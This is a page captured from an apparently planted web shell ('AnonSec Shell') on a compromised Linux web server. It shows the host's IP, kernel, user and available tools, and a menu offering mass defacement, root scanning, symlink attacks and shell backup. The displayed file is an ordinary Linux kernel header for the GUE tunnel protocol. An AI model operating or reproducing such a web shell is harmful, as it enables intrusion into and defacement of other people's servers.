AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 20.75.53.88 / Your IP : 216.73.217.165 [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON | cURL : OFF | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON
Directory : /proc/23604/root/usr/src/linux-headers-4.4.0-256/include/net/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /proc/23604/root/usr/src/linux-headers-4.4.0-256/include/net/gue.h

#ifndef __NET_GUE_H
#define __NET_GUE_H

/* Definitions for the GUE header, standard and private flags, lengths
 * of optional fields are below.
 *
 * Diagram of GUE header:
 *
 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 * |Ver|C|  Hlen   | Proto/ctype   |        Standard flags       |P|
 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 * |                                                               |
 * ~                      Fields (optional)                        ~
 * |                                                               |
 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 * |            Private flags (optional, P bit is set)             |
 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 * |                                                               |
 * ~                   Private fields (optional)                   ~
 * |                                                               |
 * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 *
 * C bit indicates contol message when set, data message when unset.
 * For a control message, proto/ctype is interpreted as a type of
 * control message. For data messages, proto/ctype is the IP protocol
 * of the next header.
 *
 * P bit indicates private flags field is present. The private flags
 * may refer to options placed after this field.
 */

struct guehdr {
	union {
		struct {
#if defined(__LITTLE_ENDIAN_BITFIELD)
			__u8	hlen:5,
				control:1,
				version:2;
#elif defined (__BIG_ENDIAN_BITFIELD)
			__u8	version:2,
				control:1,
				hlen:5;
#else
#error  "Please fix <asm/byteorder.h>"
#endif
			__u8    proto_ctype;
			__u16   flags;
		};
		__u32 word;
	};
};

/* Standard flags in GUE header */

#define GUE_FLAG_PRIV	htons(1<<0)	/* Private flags are in options */
#define GUE_LEN_PRIV	4

#define GUE_FLAGS_ALL	(GUE_FLAG_PRIV)

/* Private flags in the private option extension */

#define GUE_PFLAG_REMCSUM	htonl(1 << 31)
#define GUE_PLEN_REMCSUM	4

#define GUE_PFLAGS_ALL	(GUE_PFLAG_REMCSUM)

/* Functions to compute options length corresponding to flags.
 * If we ever have a lot of flags this can be potentially be
 * converted to a more optimized algorithm (table lookup
 * for instance).
 */
static inline size_t guehdr_flags_len(__be16 flags)
{
	return ((flags & GUE_FLAG_PRIV) ? GUE_LEN_PRIV : 0);
}

static inline size_t guehdr_priv_flags_len(__be32 flags)
{
	return 0;
}

/* Validate standard and private flags. Returns non-zero (meaning invalid)
 * if there is an unknown standard or private flags, or the options length for
 * the flags exceeds the options length specific in hlen of the GUE header.
 */
static inline int validate_gue_flags(struct guehdr *guehdr,
				     size_t optlen)
{
	size_t len;
	__be32 flags = guehdr->flags;

	if (flags & ~GUE_FLAGS_ALL)
		return 1;

	len = guehdr_flags_len(flags);
	if (len > optlen)
		return 1;

	if (flags & GUE_FLAG_PRIV) {
		/* Private flags are last four bytes accounted in
		 * guehdr_flags_len
		 */
		flags = *(__be32 *)((void *)&guehdr[1] + len - GUE_LEN_PRIV);

		if (flags & ~GUE_PFLAGS_ALL)
			return 1;

		len += guehdr_priv_flags_len(flags);
		if (len > optlen)
			return 1;
	}

	return 0;
}

#endif

Anon7 - 2022
AnonSec Team